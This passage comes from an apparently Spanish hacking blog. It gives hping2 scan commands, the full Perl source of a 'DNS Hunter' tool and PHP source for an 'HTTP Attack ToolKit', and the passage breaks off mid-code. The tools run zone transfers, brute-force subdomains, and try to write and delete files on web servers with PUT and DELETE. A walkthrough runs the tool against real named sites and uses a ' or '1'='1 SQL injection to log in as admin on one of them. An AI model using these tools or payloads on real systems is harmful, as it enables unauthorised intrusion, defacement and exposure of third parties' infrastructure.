SYN: este es utilizado para detectar si un puerto esta abierto o cerrado.
FIN: este sirve para detectar puertos abiertos entre otras cosas, si resivimos un RS ACK, esta cerrado el puerto, si no recivimos nada, es que el puerto esta filtrado o como dije arriba detras de un firewall, router, modem, etc, que estorban el envio del paquete.
otra clase de scanneos es el que no lleba ningun flag, tambien es bastante efectivo, y tambien el scanneo mediante todos los flags, que a mi pareser es el menos efectivo, ya que rara vez responden el paquete...

Scanneo de Puertos multiples:

la sintaxis es simple:
Quote
BT ~ # hping2 -l eth0 -S xxx.xxx.xxx.xxx -p ++80
es basicamente la sintaxis de los anteriores scanneres solo que al numero de puerto se le agregan los simbolos "++" antes del numero, ademas como podran observar aqui le especifique el adaptador de red a utilizar (es descartable esto).

Otra forma de scanneo multiple:

Quote
BT ~ # hping2 -V -8 '20-80' -S xxx.xxx.xxx.xx
Este tipo de scanneo es por medio de rangos de puertos, en esta forma utilize el -V (modo verboso), -8 (el modo de scanner, tambien es remplazable por --scan, y utilizo el flag SYN para scannear, que como ya dije arriba se puede cambiar por los otros tipos de scanneo (dependiendo de lo que queremos hacer).


Solo queda probar, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad.

DNS Hunter Fenix 1.0

Posted on 13:33 by Xianur0

Pantalla de ayuda:

Código:
                                ..::DNS Hunter By Xianur0 Version Fenix (Privada)::..

[-]Uso: dns.pl [dominio] [opciones]
Opciones:
-t HTTP AttackToolKit
-u Buscar Actualizaciones
-w Ataque Whois
-d Ataque DNS
-a Ejecuta Todo lo Anterior


Logs de Ejemplo:

http://phreackersworld.phpnet.us/wikipedia.org.txt
http://phreackersworld.phpnet.us/google.com.txt

ya les dije que no es la gran cosa esta tool, as� que no hagan malos comentarios que yo nunca he dicho que es una mega tool xD...


Nota:
el codigo XST como todos sabremos es obsoleto, pero lo puse como ejemplo xD...
Nota 2: El Installer.pl no es compatible con windows, así que tendrán que bajar las librerías manualmente:

Librerías:
http://www.net-dns.org/download/
http://search.cpan.org/CPAN/authors/id/G/GR/GRANTM/XML-Simple-2.18.tar.gz
http://search.cpan.org/CPAN/authors/id/L/LU/LUISMUNOZ/NetAddr-IP-4.007.tar.gz


installer.pl
Código:
#!/usr/bin/perl
use CPAN;
use LWP::UserAgent;
use HTTP::Request::Common;

CPAN::Shell->install("Net::DNS");
CPAN::Shell->install("NetAddr::IP");
CPAN::Shell->install("LWP::UserAgent");
CPAN::Shell->install("HTTP::Request::Common");
CPAN::Shell->install("XML::Simple");
CPAN::Shell->install("Getopt::Std");

print "[X] Instalado! :).... \n[X] Ejecuta: perl dns.pl\n";
system('perl dns.pl');

dns.pl

Código:
#!/usr/bin/perl

use Net::DNS;
use Net::DNS::RR;
use NetAddr::IP;
use LWP::UserAgent;
use Socket;
use HTTP::Request::Common;
use XML::Simple;
use Getopt::Std;

#DNS Hunter By Xianur0
#uxmal666@gmail.com
#Uso: dns.pl [Web] [Opción]

#CONFIGURACION:
#------------------------------------------
$ver = "0.2";
%whoisserver = (
'com', 'whois.crsnic.net',
'net', 'whois.crsnic.net',
'edu', 'whois.crsnic.net',
'org', 'whois.publicinterestregistry.net',
'info', 'whois.rotld.ro');
$ua = LWP::UserAgent->new;
my $lib = XMLin("lib.xml");
#-------------------------------------------
print " ..::DNS Hunter By Xianur0 Version Fenix (Privada)::..\n\n";
my $host =
$ARGV[0];
new NetAddr::IP($host) || die "Error: IP o Dominio Incorrecto!\n";

my $opt_string = 'whdta';
whois() if $opt{w};
uso() if $opt{h};
dns() if $opt{d};
http() if $opt{t};
todo() if $opt{a};

sub dns() {
print "\n[-]Inicio del Scanneo: ". localtime()."\n";
&soa;
&mx;
&txt;
&ns;
&hinfo;
&dnsrotativo;
&any;
&zonas;
print "Fin del Scanneo: ". localtime(). "\n";
}
sub todo() {
whois();
dns();
http();
}
sub uso {
die "[-]Uso: dns.pl [dominio] [opciones]\nOpciones:\n-t HTTP AttackToolKit\n-w Ataque Whois\n-d Ataque DNS\n-a Ejecuta Todo lo Anterior\n";
}
sub dnsrotativo {
print "[-]Buscando DNS Rotativos (Mediante PTR)...:\n";
my $consulta = new NetAddr::IP($host);
&consultar;
my $inicial = $ipaddr;
&consultar;
while($inicial ne $ipaddr) { &consultar; }
}

sub consultar {
my $consulta = new NetAddr::IP($host) || die "Error: IP o Dominio Incorrecto!\n";
my $resolver = Net::DNS::Resolver->new;
my $hosts = $consulta->num();
for (my $i=0; $i<$hosts; ++$i) { $ipaddr = $consulta->addr();
if ($ipaddr) {
my $consulta = $resolver->search("$ipaddr");
if ($consulta) {
foreach my $array ($consulta->answer) {
next unless $array->type eq "PTR";
print "IP: $ipaddr\n","Host: " ,$array->ptrdname, "\n\n"; }
} }}
}

sub soa {
print "[-]Registro SOA:\n";
my $resolver = Net::DNS::Resolver->new;
my $consulta = $resolver->query($host, "SOA");
if ($consulta) {
($consulta->answer)[0]->print;
}
print "\n\n";
}

sub zonas {
if($sdns[0] eq "") { $sdns[0] = $ipaddr;}
foreach $dnsa (@sdns) {
print "[-]Intentando Ataque AXFR....: Usando: $dnsa\n";
my $consulta = Net::DNS::Resolver->new;
$consulta->nameservers($dnsa);
my @zonas = $consulta->axfr($host);
if(!@zonas) { print "No se Logro Obtener Zonas :(..."; &detectarcomodin; } else {
foreach $array (@zonas) {
$array->print;
} print "\Vulnerado :D!\n\n";}
print "\n\n";
} }

sub ns {
my $consulta = Net::DNS::Resolver->new;
my $consulta = $consulta->query($host, "NS");
if ($consulta) {
print "[-]Servidores DNS:\n";
foreach $array (grep { $_->type eq 'NS' } $consulta->answer) {
print $array->nsdname ."\n";
@sdns = (@sdns, $array->nsdname);
}
}
print "\n\n";
}

sub hinfo {
my $consulta = Net::DNS::Resolver->new;
my $consulta = $consulta->query($host, "HINFO");
if ($consulta) {
print "\n[-]Registro HINFO:\n";
foreach $array ($consulta->answer) {
$array->print;
}}
print "\n\n";
}

sub mx {
my $resolver = Net::DNS::Resolver->new;
my $consulta = $resolver->query($host, "MX");
if ($consulta) {
print "\n[-]Servidores de Correo: \n";
foreach $array ($consulta->answer) {
$array->print;
}
print "\n";
}
}

sub txt {
my $resolver = Net::DNS::Resolver->new;
my $consulta = $resolver->query($host, "TXT");
if ($consulta) {
print "\n[-]Registro TXT (Configuracion MX): \n";
foreach $array ($consulta->answer) {
$array->print;
}
print "\n\n";
}
}

sub any {
print "[-]Obteniendo informaci�n Extra:\n";
my $resolver = Net::DNS::Resolver->new;
my $consulta = $resolver->query($host, "ANY");
if ($consulta) {
foreach $array ($consulta->answer) {
$array->print;
}}
print "\n\n";
}

sub detectarcomodin {
print "Detectando Comodin en Registros A...\n";
my $consulta = new NetAddr::IP("dnshunter.$host");
if($consulta) { print "\nServidor Protegido contra DNS Brutes Forces...."; &brute2; } else {print "No Se Detecto Comodin :).\n"; &brute;}
}
sub brute {
print "Probando DNS Brutes Forces:\n";
$db = 'db.txt';
my $sub;
open(SUBS, $db) || die "No existe la DB!";
while($sub = ){
chomp($sub);
$remoto = "$sub.$host";
my $consulta = new NetAddr::IP($remoto);
if($consulta) {print "$remoto existe!\n"; &robots;}
}
close(SUBS);
}
sub brute2 {
print "Iniciando Fase 2....\n";
$url = "detectarcomodinesenlosregistroshost.$host";
$req = HTTP::Request->new(GET => $url);
&headers;
$res = $ua->request($req);
$estado = $res->code;

if ($estado != ""){
print "Servidor Protegido Contra Brutes Forces en el Header Host del HTTP :(...\n";
}
else {print "No se detecto Proteccion en el HTTP :)..\n"; &brute3; }
}

sub headers {
$req->header('Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
$req->header('Keep-Alive' => '300');
$req->header('Connection' => 'keep-alive');
$req->header('Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7');
}
sub brute3 {
$db = 'db.txt';
my $sub;
open(SUBS, $db) || die "No existe la DB!";
while($sub = ){
chomp($sub);
$remoto = "$sub.$host";
my $proto = getprotobyname('tcp');
my $ipaddr = inet_aton($remoto);
my $paddr = sockaddr_in(80, $ipaddr);
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "Error: $!";
$conected = connect(SOCKET, $paddr);
close SOCKET;
if ($conected) {
print "$remoto Existe!\n";
}
}
close(SUBS);
}
sub robots {
$req = HTTP::Request->new(GET => "http://$host/robots.txt");
&headers;
$res = $ua->request($req);
if ($res->is_success) {
if($res->content_type eq 'text/plain') {
print "--------------------------------------------------------------------------------------\n".$res->content."\n--------------------------------------------------------------------------------------\n";
}
}
}
sub http() {
use IO::Socket;
print "\n[-]HTTP Attack ToolKit: \n\n";
my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', Timeout=>'1', );
if(!$sock) {print "No se Pudo Conectar a $host!\n"; } else {
print $sock "OPTIONS / HTTP/1.1\nHost: $host\n\n";
print "-----------------------Headers--------------------------\n";
while ($linea = <$sock>) {
if ($linea =~ "HTTP/1.") {
print "Estado De Respuesta: ".$linea;
}
if ($linea =~ /Server:/) {
print $linea;
for( @{$lib->{server}} ) {
if ($linea =~ "$_->{banner}") { print "$_->{nombre}\n"; }
}
}
for( @{$lib->{header}} ) {
if ($linea =~ "$_->{banner}") {
if($linea !~ "<") { my @header = split(": ", $linea); print "$_->{nombre}".$header[1];
}
}
}
}
close($sock);
print "-------------------------------------------------\n\n";
#PUT
my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', ); die "No se Pudo Conectar a $host!\n" unless $sock;
print $sock "PUT /hacked.htm HTTP/1.1\nHost: $host\nContent-Length: 38\n\r\n\r

Vulnerado por DNS Hunter 0.2

\n\r\n\r";
@linea = (<$sock>);
for( @{$lib->{estado}} ) {
if ($linea[0] =~ $_->{numero}) {
print "[-]Vulnerable a PUT!!....\n Estado de Respuesta: $_->{numero}\n\n";
}
}
close($sock);
#TRACE
my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', Timeout=>'10', ); die "No se Pudo Conectar a $host!\n" unless $sock;
print $sock "TRACE / HTTP/1.1\nHost: $host\n\r\n\r";
while ($linea = <$sock>) {
if ($linea =~ "message/http") {
print "[-]Vulnerable a TRACE!.....:\nCodigo XST de Demostracion:.\n------------------------------------------\n\n------------------------------------------\n\n";
}
}
close($sock);
#DELETE
my $sock = new IO::Socket::INET ( PeerAddr => $host, PeerPort => 80, Proto => 'tcp', Timeout=>'10', ); die "No se Pudo Conectar a $host!\n" unless $sock;
print $sock "DELETE /hacked.htm HTTP/1.1\nHost: $host\n\r\n\r";
@linea = (<$sock>);
for( @{$lib->{estado}} ) {
if ($linea[0] =~ $_->{numero}) {
print "[-]Vulnerable a DELETE!!....\n Estado de Respuesta: $_->{numero}\n\n";
}
}
close($sock);
}}

sub whois() {
my @hosts = split(/\./, $host);
$extencion = pop(@hosts);
$whoisserver = $whoisserver{$extencion};
if($whoisserver eq "") {print "Whois No Disponible para la Extencion: $extencion";} else {
my $sock = new IO::Socket::INET ( PeerAddr => $whoisserver, PeerPort => 43, Proto => 'tcp', Timeout=>'10', );
print $sock "=".$host."\n";
print "\n[-]Whois ($whoisserver): \n-----------------------------------------------------\n\n";
while ($linea = <$sock>) {
if($linea =~ $host) {
print "Server: $linea";
}
if($linea =~ "Whois Server") {
my @dato = split(": ", $linea);
chop($dato[1]);
my $who = new IO::Socket::INET ( PeerAddr =>$dato[1], PeerPort => 43, Proto => 'tcp', Timeout=>'10', );
if(!$who) { print "[-]Server Whois Down!\n"; } else {
print $who $host."\n";
print "\n[-]\n\n"; while($whos = <$who>) { print $whos; }
print "\n\n[-]
\n\n";
}} else {
for( @{$lib->{whois}} ) {
if ($linea =~ "$_->{etiqueta}") {
my @dato = split(": ", $linea);
print "$_->{imprimir}".$dato[1]; }
}
}}
print "\n-------------------------
----------------------------\n\n";
}}


lib.xml



<db>
<server>
<banner>gws</banner>
<nombre>Google Server</nombre>
</server>
<server>
<banner>GFE</banner>
<nombre>Google Server</nombre>
</server>
<server>
<banner>Unix</banner>
<nombre>Servidor Unix/Linux</nombre>
</server>
<server>
<banner>IIS</banner>
<nombre>Windows Server</nombre>
</server>
<server>
<banner>ucfe</banner>
<nombre>Google Server</nombre>
</server>
<server>
<banner>Debian</banner>
<nombre>Debian Server (linux)</nombre>
</server>
<server>
<banner>lighttpd</banner>
<nombre>Unix/Linux Server (lighttpd)</nombre>
</server>
<server>
<banner>Sun</banner>
<nombre>Sun Server</nombre>
</server>

<header>
<banner>Date</banner>
<nombre>Fecha Interna: </nombre>
</header>
<header>
<banner>Vary</banner>
<nombre>Vary: </nombre>
</header>
<header>
<banner>Content-Encoding</banner>
<nombre>Codificacion de la Pagina: </nombre>
</header>
<header>
<banner>X-Cache</banner>
<nombre>Cache Server: </nombre>
</header>
<header>
<banner>X-Cache-Lookup</banner>
<nombre>Cache Server: </nombre>
</header>
<header>
<banner>Via</banner>
<nombre>Proxy Server: </nombre>
</header>
<header>
<banner>X-Powered-By</banner>
<nombre>Powered: </nombre>
</header>
<header>
<banner>Set-Cookie</banner>
<nombre>Cookie Inicial: </nombre>
</header>
<header>
<banner>P3P</banner>
<nombre>Licencia P3P: </nombre>
</header>
<header>
<banner>Location</banner>
<nombre>Redireccion: </nombre>
</header>
<estado>
<numero>200</numero>
</estado>
<estado>
<numero>201</numero>
</estado>
<estado>
<numero>202</numero>
</estado>
<estado>
<numero>401</numero>
</estado>
<estado>
<numero>403</numero>
</estado>
<whois>
<etiqueta>Server Name</etiqueta>
<imprimir>Nombre del Servidor: </imprimir>
</whois>
<whois>
<etiqueta>Registrar</etiqueta>
<imprimir>Registrado Con: </imprimir>
</whois>
<whois>
<etiqueta>Referral UR</etiqueta>
<imprimir>Registrado En: </imprimir>
</whois>
<whois>
<etiqueta>IP Address</etiqueta>
<imprimir>IP: </imprimir>
</whois>


<whois>
<etiqueta>Status</etiqueta>
<imprimir>Estado: </imprimir>
</whois>

<whois>
<etiqueta>Updated Date</etiqueta>
<imprimir>Ultima Actualizacion: </imprimir>
</whois>

<whois>
<etiqueta>Creation Date</etiqueta>
<imprimir>Dominio Registrado El: </imprimir>
</whois>

<whois>
<etiqueta>Expiration Date</etiqueta>
<imprimir>El Dominio Expira el: </imprimir>
</whois>
<whois>
<etiqueta>Name Server</etiqueta>
<imprimir>Servidor DNS: </imprimir>
</whois>
<whois>
<etiqueta>Registrant</etiqueta>
<imprimir>Registrante: </imprimir>
</whois>
<whois>
<etiqueta>Domain Name</etiqueta>
<imprimir>Domain Name: </imprimir>
</whois>
<whois>
<etiqueta>Administrative Contact, Technical Contact</etiqueta>
<imprimir>Datos Tecnicos: </imprimir>
</whois>
</db>


db.txt


www
www1
www2
www3
ftp
ns
mail
3com
aix
apache
back
bind
boreder
bsd
business
chains
cisco
content
corporate
cpv
dns
domino
dominoserver
download
e-mail
e-safe
email
esafe
external
extranet
firebox
firewall
front
fw
fw0
fwe
fw-1
firew
gate
gatekeeper
gateway
gauntlet
group
help
hop
hp
hpjet
hpux
http
https
hub
ibm
ids
info
inside
internal
internet
intranet
ipfw
irix
jet
list
lotus
lotusdomino
lotusnotes
lotusserver
mailfeed
mailgate
mailgateway
mailgroup
mailhost
maillist
mailpop
mailrelay
mimesweeper
ms
msproxy
mx
nameserver
news
newsdesk
newsfeed
newsgroup
newsroom
newsserver
nntp
notes
noteserver
notesserver
nt
outside
pix
pop
pop3
pophost
popmail
popserver
print
printer
private
proxy
proxyserver
public
qpop
raptor
read
redcreek
redhat
route
router
scanner
screen
screening
secure
seek
smail
smap
smtp
smtpgateway
smtpgw
solaris
sonic
spool
squid
sun
sunos
suse
switch
transfer
trend
trendmicro
vlan
vpn
wall
web
webmail
webserver
webswitch
win2000
win2k


instalación: Correr installer.pl darle yes a todo lo que pregunte y listo xD...

Testeando con DNS Hunter

Posted on 13:31 by Xianur0

Nota Previa: este texto es de la versi�n reducida del DNS Hunter (es decir no la fenix).

DNS Hunter es una tool que hice para el duelo con tiger, pero me pidieron que hiciera un manual de como testear con ella, bueno vamos a lo simple:

Solo explicare algunas partes de la tool que no se vieron en los manuales de arriba:

Buscador de DNS Rotativos:
Detecta cuando un servidor usa enmascaramiento por DNS y cuando rotan los DNS (cambia de servidor DNS cada cierto tiempo).

Visualizador de Zonas:
Esta Funci�n es muy �til para detectar un servidor DNS mal configurado ademas de detectar todos los subdominios de un dominio dado, y aunque a muchos les sorprenda muchos de los servidores mas famosos son vulnerables (incluyendo a wikipedia jejejeje).

Bueno ya explique las partes "dudosas", ahora explicare como podr�amos usar esto:

Utilizare un objetivo general que encontre en google para este ligero texto xD:

telefe.com.ar

Código:
UxMal Desktop # dns.pl telefe.com.ar
..::DNS Hunter By UxMal::..

[-]Registro SOA:
telefe.com.ar. 43200 IN SOA telefe.com.ar. webmaster.telefe.com.ar. (
2007081401 ; Serial
3600 ; Refresh
180 ; Retry
1296000 ; Expire
900 ) ; Minimum TTL


[-]Servidores DNS:
tlfdns02.telefe.com.ar
tlfdns01.telefe.com.ar


[-]Buscando DNS Rotativos...:
[-]Obteniendo Informacion Extra:
telefe.com.ar. 43199 IN SOA telefe.com.ar. webmaster.telefe.com.ar. (
2007081401 ; Serial
3600 ; Refresh
180 ; Retry
1296000 ; Expire
900 ) ; Minimum TTL


[-]Intentando Obtener Zonas....: Usando: tlfdns01.telefe.com.ar
telefe.com.ar. 43200 IN SOA telefe.com.ar. webmaster.telefe.com.ar. (
2007081401 ; Serial
3600 ; Refresh
180 ; Retry
1296000 ; Expire
900 ) ; Minimum TTL
telefe.com.ar. 43200 IN MX 5 tlfdns03.telefe.com.ar.
telefe.com.ar. 43200 IN MX 10 tlfdns01.telefe.com.ar.
telefe.com.ar. 43200 IN MX 15 tlfdns02.telefe.com.ar.
telefe.com.ar. 43200 IN NS tlfdns01.telefe.com.ar.
telefe.com.ar. 43200 IN NS tlfdns02.telefe.com.ar.
telefe.com.ar. 43200 IN TXT "v=spf1 ip4:192.168.171.146 ip4:192.168.172.153 ip4:192.168.171.1 ip4:192.168.172.1 mx -all"
telefe.com.ar. 43200 IN A 66.231.227.176
bahiablanca.telefe.com.ar. 43200 IN CNAME c9bahiablanca.dyndns.org.
c11salta.telefe.com.ar. 43200 IN CNAME c11salta.dyndns.org.
c13santafe.telefe.com.ar. 43200 IN CNAME c13santafe.dyndns.org.
c5rosario.telefe.com.ar. 43200 IN CNAME c5rosario.dyndns.org.
c7neuquen.telefe.com.ar. 43200 IN CNAME c7neuquen.dyndns.org.
c8cordoba.telefe.com.ar. 43200 IN CNAME c8cordoba.dyndns.org.
c8mardelplata.telefe.com.ar. 43200 IN CNAME c8mardelplata.dyndns.org.
c8tucuman.telefe.com.ar. 43200 IN CNAME c8tucuman.dyndns.org.
c9bahiablanca.telefe.com.ar. 43200 IN CNAME c9bahiablanca.dyndns.org.
cordoba.telefe.com.ar. 43200 IN CNAME c8cordoba.dyndns.org.
daresdar.telefe.com.ar. 43200 IN A 66.231.227.173
www.daresdar.telefe.com.ar. 43200 IN A 66.231.227.173
dns1.telefe.com.ar. 43200 IN CNAME tlfdns01.telefe.com.ar.
dns2.telefe.com.ar. 43200 IN CNAME tlfdns02.telefe.com.ar.
dns3.telefe.com.ar. 43200 IN CNAME tlfdns03.telefe.com.ar.
ftp.telefe.com.ar. 43200 IN A 200.51.91.146
gh07.telefe.com.ar. 43200 IN A 66.231.227.173
gh07famosos.telefe.com.ar. 43200 IN A 66.231.227.173
gh2007.telefe.com.ar. 43200 IN A 66.231.227.173
gh5.telefe.com.ar. 43200 IN A 66.231.227.173
www.gh5.telefe.com.ar. 43200 IN A 66.231.227.173
hq.telefe.com.ar. 43200 IN CNAME hq1.telefe.com.ar.
hq1.telefe.com.ar. 43200 IN A 200.51.44.188
hq2.telefe.com.ar. 43200 IN A 200.51.91.155
mail1.telefe.com.ar. 43200 IN CNAME tlfdns01.telefe.com.ar.
mail2.telefe.com.ar. 43200 IN CNAME tlfdns02.telefe.com.ar.
mail3.telefe.com.ar. 43200 IN CNAME tlfdns03.telefe.com.ar.
mail4.telefe.com.ar. 43200 IN CNAME tlfdns04.telefe.com.ar.
mardelplata.telefe.com.ar. 43200 IN CNAME c8mardelplata.dyndns.org.
mundoshow.telefe.com.ar. 43200 IN A 206.221.200.244
neuquen.telefe.com.ar. 43200 IN CNAME c7neuquen.dyndns.org.
noticias.telefe.com.ar. 43200 IN A 66.231.227.176
noticias_cms.telefe.com.ar. 43200 IN A 66.231.227.176
proveedores.telefe.com.ar. 43200 IN A 200.51.91.149
www.proveedores.telefe.com.ar. 43200 IN A 200.51.91.149
rosario.telefe.com.ar. 43200 IN CNAME c5rosario.dyndns.org.
salta.telefe.com.ar. 43200 IN CNAME c11salta.dyndns.org.
santafe.telefe.com.ar. 43200 IN CNAME c13santafe.dyndns.org.
telefe1.telefe.com.ar. 43200 IN A 200.51.91.152
telefe2.telefe.com.ar. 43200 IN A 200.16.211.181
telefe6.telefe.com.ar. 43200 IN A 200.51.91.153
teleinde1.telefe.com.ar. 43200 IN A 200.51.44.187
tlf-cap-01.telefe.com.ar. 43200 IN A 200.51.91.149
tlfdns01.telefe.com.ar. 43200 IN A 200.51.91.146
tlfdns02.telefe.com.ar. 43200 IN A 200.51.44.189
tlfdns03.telefe.com.ar. 43200 IN A 200.51.91.153
tlfdns04.telefe.com.ar. 43200 IN A 200.51.91.150
tucuman.telefe.com.ar. 43200 IN CNAME c8tucuman.dyndns.org.
webmail.telefe.com.ar. 43200 IN A 200.51.91.152
www.telefe.com.ar. 43200 IN A 66.231.227.176

denotamos que es vulnerable a intercambio de zonas, bueno este seria un uso simple:

http://noticias_cms.telefe.com.ar/home/index.php

como notaran es un login, si probamos SQL Inyection:
User: ' or '1'='1
Password: ' or '1'='1

Disculpe las molestias

Admin Admin

en estos momentos estamos

trabajando para Ud.


como podr�n notar entramos como admin al sistema xD.

Ahora checamos a google:

Código:
UxMal Desktop # dns.pl google.com
..::DNS Hunter By UxMal::..

[-]Registro SOA:
google.com. 86400 IN SOA ns1.google.com. dns-admin.google.com. (
2008030601 ; Serial
7200 ; Refresh
1800 ; Retry
1209600 ; Expire
300 ) ; Minimum TTL


[-]Servidores DNS:
ns2.google.com
ns3.google.com
ns4.google.com
ns1.google.com


[-]Buscando DNS Rotativos...:
IP: 64.233.187.99
Host: jc-in-f99.google.com

IP: 64.233.167.99
Host: py-in-f99.google.com

IP: 72.14.207.99
Host: eh-in-f99.google.com

[-]Obteniendo Informacion Extra:
google.com. 86399 IN SOA ns1.google.com. dns-admin.google.com. (
2008030601 ; Serial
7200 ; Refresh
1800 ; Retry
1209600 ; Expire
300 ) ; Minimum TTL


[-]Intentando Obtener Zonas....: Usando: ns1.google.com
No se Logro Obtener Zonas :(...Provando DNS Brutes Forces:
www.google.com existe!
www2.google.com existe!
www3.google.com existe!
ns1.google.com existe!
ns2.google.com existe!
ns3.google.com existe!
ns4.google.com existe!
ns.google.com existe!
mail.google.com existe!
download.google.com existe!
email.google.com existe!
group.google.com existe!
news.google.com existe!
newsfeed.google.com existe!
print.google.com existe!
proxy.google.com existe!
smtp.google.com existe!
earth.google.com existe!
toolbar.google.com existe!
desktop.google.com existe!
pack.google.com existe!
groups.google.com existe!
directory.google.com existe!
picasa.google.com existe!
book.google.com existe!
books.google.com existe!
adwords.google.com existe!
ads.google.com existe!
images.google.com existe!
checkout.google.com existe!
picasaweb.google.com existe!
scholar.google.com existe!
webaccelerator.google.com existe!
code.google.com existe!
pages.google.com existe!
base.google.com existe!
docs.google.com existe!
doc.google.com existe!
catalog.google.com existe!
catalogs.google.com existe!
labs.google.com existe!
uploads.google.com existe!
adwords.google.com existe!
answers.google.com existe!
bizsolutions.google.com existe!
maps.google.com existe!
map.google.com existe!
directory.google.com existe!
gears.google.com existe!
services.google.com existe!
video.google.com existe!
research.google.com existe!
transfer.google.com existe!
vpn.google.com existe!
web.google.com existe!

Como podran notar tiene usa un sistema de enmascaramiento por DNS, es decir el DNS rota cada cierto tiempo, eso es util cuando un deface, es decir cambia la web y nadie ve el deface, o tambien para evitar scanners, etc. Ahora que tenemos los DNS's, podriamos realizar un scanneo mas extensivo. aparte de ello, al no ser vulnerable a intercambio de zonas, corrio el DNS Brutes Forces, que como podran notar, saco informacion interesante jejeje...


Otro uso:
Código:
UxMal Desktop # dns.pl atenea-linux.com
..::DNS Hunter By UxMal::..

[-]Registro SOA:
atenea-linux.com. 3600 IN SOA ns1.awardspace.com. hostmaster.awardspace.com. (
2008030601 ; Serial
10800 ; Refresh
3600 ; Retry
1209600 ; Expire
7200 ) ; Minimum TTL


[-]Servidores DNS:
ns1.awardspace.com
ns2.awardspace.com
ns3.awardspace.com
ns4.awardspace.com


[-]Buscando DNS Rotativos...:
IP: 82.197.131.52
Host: www7.awardspace.com

IP: 82.197.131.52
Host: www7.awardspace.com

[-]Obteniendo Informacion Extra:
atenea-linux.com. 3599 IN SOA ns1.awardspace.com. hostmaster.awardspace.com. (
2008030601 ; Serial
10800 ; Refresh
3600 ; Retry
1209600 ; Expire
7200 ) ; Minimum TTL


[-]Intentando Obtener Zonas....: Usando: ns4.awardspace.com
No se Logro Obtener Zonas :(...Provando DNS Brutes Forces:
www.atenea-linux.com existe!
mail.atenea-linux.com existe!

Buscando DNS's Rotativos, denotamos que detecto awardspace como host de esa web, no se si es por el hack que le hicieron xD, o por que de por si el _ANtrAX_ lo puso ahi jejeje


IP: 82.197.131.52
Host: www7.awardspace.com

aparentemente esta en el servidor www7 de awardspace:

Código:
UxMal Desktop # nc -vvv 82.197.131.52 80
Warning: forward host lookup failed for www7.awardspace.com: Unknown host
www7.awardspace.com [82.197.131.52] 80 (http) open
GET / HTTP/1.1
Host: www.atenea-linux.com

HTTP/1.1 200 OK
Date: Fri, 07 Mar 2008 23:30:49 GMT
Server: Apache
Transfer-Encoding: chunked
Content-Type: text/html

94c
<title>y0u 4r3 0wn3d m0th3r fuck3r !! xDDDDD</title&gtl..... y de mas xD...

No se ustedes, pero a mi se me ocurre realizar un ataque por headers, en fin....



Menudo manual corto, pero bueno, creo que sirve de ejemplo del uso de mi tool jeje...

lo extender� despu�s...

consola.php


<h2>Consola HTTP</h2>
<form Method="POST" Action="">
<textarea name="consola" rows="20" cols="100">
<?php
if(isset($_POST["consola"])) { $consola = $_POST["consola"];
$sock = @fsockopen($host, $puerto, &$errno, &$errstr, $TimeOut);
if(!$sock) {
echo "Puerto $puerto Cerrado";
}else{
$head = @fputs($sock, "$consola\n\n");
while(!feof($sock) ) {
$datos .= htmlentities(fgets($sock, 4096));
}
}
echo $datos;
}
echo '</textarea>
<input type="hidden" name="puerto" value="'.$puerto.'"><input type="hidden" name="host" value="'.$host.'">
<br><input type="submit" value="OK">
</form>';
?>


index.php

<?php
include("functions.php");

formulario();
opt();
if (isset($_GET["atack"])) switch($_GET["atack"]) {
case put:
put();
break;
case trace:
trace();
break;
case delete:
include("delete.php");
break;
case consola:
include("consola.php");
break;
case connect:
connect();
break;
default:
header("Location: index.php");
break;
}

?>



functions.php

<?php

###################################### FORMULARIO ###############################
function formulario()
{
echo"<html>
<center>
<title>HTTP Attack ToolKit By UxMal & InyeXion</title>
<form method="POST" action="">
<h1>HTTP Atack ToolKit By InyeXion & UxMal</h1>
<a>Host: <input name="host" size="17" type="text" value="".htmlentities($_REQUEST["host"]).""></a><br>
<a>Puerto: <input name="puerto" size="17" type="text" value="".htmlentities($_REQUEST["puerto"]).""></a><br>
<input type="submit" value="Scannear!">
<br>
</form></html>";
}

######################################## OPCIONES #################################
function opt()
{
error_reporting(0);
set_time_limit(0);
$TimeOut = 2;

if (isset($_POST["host"]) && isset($_POST["puerto"]))
{
$host = htmlentities($_POST["host"]);

if(is_numeric($_POST["puerto"]))
{
$puerto = htmlentities($_POST["puerto"]);
}else{
print "Solo Numeros!";
exit();
}
if(!$TimeOut)
{
$sock = @fsockopen($host, $puerto);
}else{
$sock = @fsockopen($host, $puerto, &$errno, &$errstr, $TimeOut);
}
if(!$sock) {
echo "<h2>Puerto $puerto Cerrado</h2><br>";
exit();
}
$header=htmlentities($_GET["header"]);
$socket = @fsockopen($header, 80, &$errno, &$errstr, 10);
$head = @fputs($sock, "OPTIONS / HTTP/1.0\n\n");

while(!feof($sock) ) {
$buffer .= htmlentities(fgets($sock, 4096));
}
list($basura, $todo) = explode("Server: ", $buffer);
list($server, $basura) = explode("\n", $todo);
unset($basura, $todo);

list($basura, $todo) = explode("Allow: ", $buffer);
list($allow, $basura) = explode("\n", $todo);
unset($basura, $todo);

echo "<b>Servidor: $server</b><br>";
echo "<b>Metodos Permitidos: $allow</b><br>";

if(ereg(" PUT, ", $allow)) echo "<br><a>Se ha Detectado El Metodo PUT, desea atacar? <a href="?atack=put&host=$host&puerto=$puerto">SI</a> | <a>No</a><hr>";
if(ereg(" DELETE, ", $allow))
{
echo "<br><a>Se ha Detectado El Metodo DELETE";
echo "
<center><form action="delete.php" method="POST">
<input type="hidden" name="host" value="".$host."">
<input type="hidden" name="puerto" value="".$puerto."">
<b>Especifica el archivo a borrar: </b><input type="text" name="borrar">
<input type="submit" name="subx" value="Borrar">
</form></center><hr>";
}
if(ereg(" TRACE", $allow)) echo "<br><a>Se ha Detectado El Metodo TRACE, desea atacar? <a href="?atack=trace&host=$host&puerto=$puerto">SI</a> | <a>No</a><hr>";
if(ereg(" CONNECT, ", $allow)) echo "<br><a>Altas Posibilidades De Ataque MITM, Desea Probar Un Ataque Tunneling? <a href="?atack=connect&host=$host&puerto=$puerto">SI</a> | <a>No</a><hr>";
include("consola.php");

}
}

######################################### PUT #####################################
function put()
